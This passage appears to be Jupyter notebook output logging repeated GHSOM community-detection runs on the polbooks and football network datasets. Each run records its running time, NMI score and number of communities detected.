score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 31\n", "running time of algorithm: 243.188999891\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 32\n", "running time of algorithm: 242.664000034\n", "saved nmi score for network embedded_polbooks.gml: [ 0.55442909]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 33\n", "running time of algorithm: 242.48300004\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 34\n", "running time of algorithm: 242.415999889\n", "saved nmi score for network embedded_polbooks.gml: [ 0.5198172]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 35\n", "running time of algorithm: 239.894999981\n", "saved nmi score for network embedded_polbooks.gml: [ 0.5198172]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 36\n", "running time of algorithm: 241.588999987\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 37\n", "running time of algorithm: 243.144999981\n", "saved nmi score for network embedded_polbooks.gml: [ 0.53003463]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 38\n", "running time of algorithm: 242.402000189\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 39\n", "running time of algorithm: 242.042999983\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 40\n", "running time of algorithm: 239.006000042\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51312341]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 41\n", "running time of algorithm: 242.476000071\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 42\n", "running time of algorithm: 240.553999901\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51312341]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 43\n", "running time of algorithm: 240.115999937\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 44\n", "running time of algorithm: 242.299999952\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 45\n", "running time of algorithm: 241.517999887\n", "saved nmi score for network embedded_polbooks.gml: [ 0.56007797]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 46\n", "running time of algorithm: 242.556999922\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 47\n", "running time of algorithm: 244.128000021\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 48\n", "running time of algorithm: 242.894000053\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 49\n", "running time of algorithm: 242.273000002\n", "saved nmi score for network embedded_polbooks.gml: [ 0.53746942]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 50\n", "running time of algorithm: 241.019000053\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 51\n", "running time of algorithm: 240.689999819\n", "saved nmi score for network embedded_polbooks.gml: [ 0.50739484]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 52\n", "running time of algorithm: 242.161999941\n", "saved nmi score for network embedded_polbooks.gml: [ 0.53746942]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 53\n", "running time of algorithm: 242.621999979\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51813975]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 54\n", "running time of algorithm: 241.924999952\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 55\n", "running time of algorithm: 242.156999826\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51312341]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 56\n", "running time of algorithm: 240.072999954\n", "saved nmi score for network embedded_polbooks.gml: [ 0.54654507]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 57\n", "running time of algorithm: 242.266000032\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 58\n", "running time of algorithm: 242.2900002\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51813975]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 59\n", "running time of algorithm: 243.251999855\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51813975]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 60\n", "running time of algorithm: 243.232000113\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51813975]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 61\n", "running time of algorithm: 159.562999964\n", "saved nmi score for network embedded_polbooks.gml: [ 0.54834672]\n", "saved communities detected for network embedded_polbooks.gml: 3\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 62\n", "running time of algorithm: 240.861999989\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 63\n", "running time of algorithm: 240.339999914\n", "saved nmi score for network embedded_polbooks.gml: [ 0.55583245]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 64\n", "running time of algorithm: 241.981000185\n", "saved nmi score for network embedded_polbooks.gml: [ 0.5198172]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 65\n", "running time of algorithm: 239.080000162\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 66\n", "running time of algorithm: 240.713999987\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 67\n", "running time of algorithm: 240.71600008\n", "saved nmi score for network embedded_polbooks.gml: [ 0.56779484]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 68\n", "running time of algorithm: 240.440000057\n", "saved nmi score for network embedded_polbooks.gml: [ 0.55428333]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 69\n", "running time of algorithm: 243.240999937\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51312341]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 70\n", "running time of algorithm: 242.503999949\n", "saved nmi score for network embedded_polbooks.gml: [ 0.50739484]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 71\n", "running time of algorithm: 242.897000074\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 72\n", "running time of algorithm: 241.480999947\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 73\n", "running time of algorithm: 242.988999844\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 74\n", "running time of algorithm: 240.101000071\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 75\n", "running time of algorithm: 240.234999895\n", "saved nmi score for network embedded_polbooks.gml: [ 0.55703709]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 76\n", "running time of algorithm: 242.570000172\n", "saved nmi score for network embedded_polbooks.gml: [ 0.5385141]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 77\n", "running time of algorithm: 239.495000124\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 78\n", "running time of algorithm: 242.812000036\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 79\n", "running time of algorithm: 242.328999996\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 80\n", "running time of algorithm: 240.582999945\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 81\n", "running time of algorithm: 241.776000023\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 82\n", "running time of algorithm: 240.838999987\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 83\n", "running time of algorithm: 242.437999964\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 84\n", "running time of algorithm: 241.467000008\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51312341]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 85\n", "running time of algorithm: 239.457999945\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 86\n", "running time of algorithm: 240.111999989\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 87\n", "running time of algorithm: 240.861000061\n", "saved nmi score for network embedded_polbooks.gml: [ 0.53746942]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 88\n", "running time of algorithm: 260.661000013\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 89\n", "running time of algorithm: 241.4150002\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 90\n", "running time of algorithm: 241.042999983\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 91\n", "running time of algorithm: 241.430999994\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 92\n", "running time of algorithm: 242.376000166\n", "saved nmi score for network embedded_polbooks.gml: [ 0.56007797]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 93\n", "running time of algorithm: 159.31099987\n", "saved nmi score for network embedded_polbooks.gml: [ 0.5443955]\n", "saved communities detected for network embedded_polbooks.gml: 3\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 94\n", "running time of algorithm: 238.659000158\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 95\n", "running time of algorithm: 241.122000217\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 96\n", "running time of algorithm: 238.815000057\n", "saved nmi score for network embedded_polbooks.gml: [ 0.52106516]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 97\n", "running time of algorithm: 239.432999849\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 98\n", "running time of algorithm: 242.031000137\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 99\n", "running time of algorithm: 242.489000082\n", "saved nmi score for network embedded_polbooks.gml: [ 0.53683612]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 100\n", "running time of algorithm: 240.753999949\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "writing nmi scores and running times to file\n", "creating new nmi scores array\n", "creating new running time array\n", "creating new communites detected array\n", "density of network=0.0939740655988\n", "e_sg=0.625716018425\n", "starting ghsom for: embedded_football.gml, repeat: 1\n", "running time of algorithm: 463.421000004\n", "saved nmi score for network embedded_football.gml: [ 0.74697188]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 2\n", "running time of algorithm: 450.486999989\n", "saved nmi score for network embedded_football.gml: [ 0.74570757]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 3\n", "running time of algorithm: 451.223999977\n", "saved nmi score for network embedded_football.gml: [ 0.74570757]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 4\n", "running time of algorithm: 450.697999954\n", "saved nmi score for network embedded_football.gml: [ 0.73077253]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 5\n", "running time of algorithm: 590.43200016\n", "saved nmi score for network embedded_football.gml: [ 0.74508974]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 6\n", "running time of algorithm: 445.695999861\n", "saved nmi score for network embedded_football.gml: [ 0.72049412]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 7\n", "running time of algorithm: 445.920000076\n", "saved nmi score for network embedded_football.gml: [ 0.74749562]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 8\n", "running time of algorithm: 447.743999958\n", "saved nmi score for network embedded_football.gml: [ 0.74540174]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 9\n", "running time of algorithm: 444.678000212\n", "saved nmi score for network embedded_football.gml: [ 0.75120458]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 10\n", "running time of algorithm: 452.227999926\n", "saved nmi score for network embedded_football.gml: [ 0.75120458]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 11\n", "running time of algorithm: 448.197999954\n", "saved nmi score for network embedded_football.gml: [ 0.73099384]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 12\n", "running time of algorithm: 748.424999952\n", "saved nmi score for network embedded_football.gml: [ 0.73183017]\n", "saved communities detected for network embedded_football.gml: 8\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 13\n", "running time of algorithm: 590.435000181\n", "saved nmi score for network embedded_football.gml: [ 0.73995116]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 14\n", "running time of algorithm: 585.800000191\n", "saved nmi score for network embedded_football.gml: [ 0.7535908]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 15\n", "running time of algorithm: 444.231000185\n", "saved nmi score for network embedded_football.gml: [ 0.73066913]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 16\n", "running time of algorithm: 451.838000059\n", "saved nmi score for network embedded_football.gml: [ 0.74556709]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 17\n", "running time of algorithm: 453.77699995\n", "saved nmi score for network embedded_football.gml: [ 0.73940396]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 18\n", "running time of algorithm: 449.56400013\n", "saved nmi score for network embedded_football.gml: [ 0.74697188]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 19\n", "running time of algorithm: 448.053999901\n", "saved nmi score for network embedded_football.gml: [ 0.75211174]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 20\n", "running time of algorithm: 446.401000023\n", "saved nmi score for network embedded_football.gml: [ 0.73258787]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 21\n", "running time of algorithm: 449.404000044\n", "saved nmi score for network embedded_football.gml: [ 0.75211174]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 22\n", "running time of algorithm: 443.641000032\n", "saved nmi score for network embedded_football.gml: [ 0.75864818]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 23\n", "running time of algorithm: 443.099999905\n", "saved nmi score for network embedded_football.gml: [ 0.7167881]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 24\n", "running time of algorithm: 445.104000092\n", "saved nmi score for network embedded_football.gml: [ 0.74629601]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 25\n", "running time of algorithm: 443.258000135\n", "saved nmi score for network embedded_football.gml: [ 0.73077253]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 26\n", "running time of algorithm: 445.264999866\n", "saved nmi score for network embedded_football.gml: [ 0.72900981]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 27\n", "running time of algorithm: 453.936000109\n", "saved nmi score for network embedded_football.gml: [ 0.7535814]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 28\n", "running time of algorithm: 583.288000107\n", "saved nmi score for network embedded_football.gml: [ 0.75013003]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 29\n", "running time of algorithm: 443.34800005\n", "saved nmi score for network embedded_football.gml: [ 0.73099384]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 30\n", "running time of algorithm: 450.035000086\n", "saved nmi score for network embedded_football.gml: [ 0.72049412]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 31\n", "running time of algorithm: 453.360999823\n", "saved nmi score for network embedded_football.gml: [ 0.74749562]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 32\n", "running time of algorithm: 444.148000002\n", "saved nmi score for network embedded_football.gml: [ 0.744242]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 33\n", "running time of algorithm: 443.855000019\n", "saved nmi score for network embedded_football.gml: [ 0.70722108]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 34\n", "running time of algorithm: 452.072999954\n", "saved nmi score for network embedded_football.gml: [ 0.70569521]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 35\n", "running time of algorithm: 449.164999962\n", "saved nmi score for network embedded_football.gml: [ 0.74697188]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 36\n", "running time of algorithm: 447.59800005\n", "saved nmi score for network embedded_football.gml: [ 0.7209483]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 37\n", "running time of algorithm: 581.832999945\n", "saved nmi score for network embedded_football.gml: [ 0.69404868]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 38\n", "running time of algorithm: 452.944999933\n", "saved nmi score for network embedded_football.gml: [ 0.74749562]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 39\n", "running time of algorithm: 445.282999992\n", "saved nmi score for network embedded_football.gml: [ 0.73077253]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 40\n", "running time of algorithm: 443.368999958\n", "saved nmi score for network embedded_football.gml: [ 0.73066913]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 41\n", "running time of algorithm: 585.642999887\n", "saved nmi score for network embedded_football.gml: [ 0.72378162]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 42\n", "running time of algorithm: 447.70600009\n", "saved nmi score for network embedded_football.gml: [ 0.74697188]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 43\n", "running time of algorithm: 579.388999939\n", "saved nmi score for network embedded_football.gml: [ 0.7535908]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 44\n", "running time of algorithm: 443.402999878\n", "saved nmi score for network embedded_football.gml: [ 0.73258787]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 45\n", "running time of algorithm: 448.079999924\n", "saved nmi score for network embedded_football.gml: [ 0.70773246]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 46\n", "running time of algorithm: 444.019000053\n", "saved nmi score for network embedded_football.gml: [ 0.73099384]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 47\n", "running time of algorithm: 445.539999962\n", "saved nmi score for network embedded_football.gml: [ 0.73404276]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 48\n", "running time of algorithm: 446.74000001\n", "saved nmi score for network embedded_football.gml: [ 0.70722108]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 49\n", "running time of algorithm: 448.799000025\n", "saved nmi score for network embedded_football.gml: [ 0.74472482]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 50\n", "running time of algorithm: 450.484999895\n", "saved nmi score for network embedded_football.gml: [ 0.71868264]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 51\n", "running time of algorithm: 444.289000034\n", "saved nmi score for network embedded_football.gml: [ 0.71806573]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 52\n", "running time of algorithm: 450.243000031\n", "saved nmi score for network embedded_football.gml: [ 0.71751767]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 53\n", "running time of algorithm: 450.285000086\n", "saved nmi score for network embedded_football.gml: [ 0.74325465]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 54\n", "running time of algorithm: 447.835999966\n", "saved nmi score for network embedded_football.gml: [ 0.7185385]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 55\n", "running time of algorithm: 448.01699996\n", "saved nmi score for network embedded_football.gml: [ 0.74472482]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 56\n", "running time of algorithm: 443.601000071\n", "saved nmi score for network embedded_football.gml: [ 0.70773246]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 57\n", "running time of algorithm: 449.807999849\n", "saved nmi score for network embedded_football.gml: [ 0.74393581]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 58\n", "running time of algorithm: 707.031000137\n", "saved nmi score for network embedded_football.gml: [ 0.73738924]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 59\n", "running time of algorithm: 619.612999916\n", "saved nmi score for network embedded_football.gml: [ 0.70722108]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 60\n", "running time of algorithm: 615.990999937\n", "saved nmi score for network embedded_football.gml: [ 0.74413533]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 61\n", "running time of algorithm: 608.214999914\n", "saved nmi score for network embedded_football.gml: [ 0.73258787]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 62\n", "running time of algorithm: 454.855999947\n", "saved nmi score for network embedded_football.gml: [ 0.71751767]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 63\n", "running time of algorithm: 457.661999941\n", "saved nmi score for network embedded_football.gml: [ 0.70722108]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 64\n", "running time of algorithm: 461.60800004\n", "saved nmi score for network embedded_football.gml: [ 0.73404276]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 65\n", "running time of algorithm: 460.835999966\n", "saved nmi score for network embedded_football.gml: [ 0.70821157]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 66\n", "running time of algorithm: 459.196000099\n", "saved nmi score for network embedded_football.gml: [ 0.74749562]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 67\n", "running time of algorithm: 594.595999956\n", "saved nmi score for network embedded_football.gml: [ 0.73738924]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 68\n", "running time of algorithm: 455.934999943\n", "saved nmi score for network embedded_football.gml: [ 0.74393581]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 69\n", "running time of algorithm: 606.751999855\n", "saved nmi score for network embedded_football.gml: [ 0.73916499]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 70\n", "running time of algorithm: 462.592000008\n", "saved nmi score for 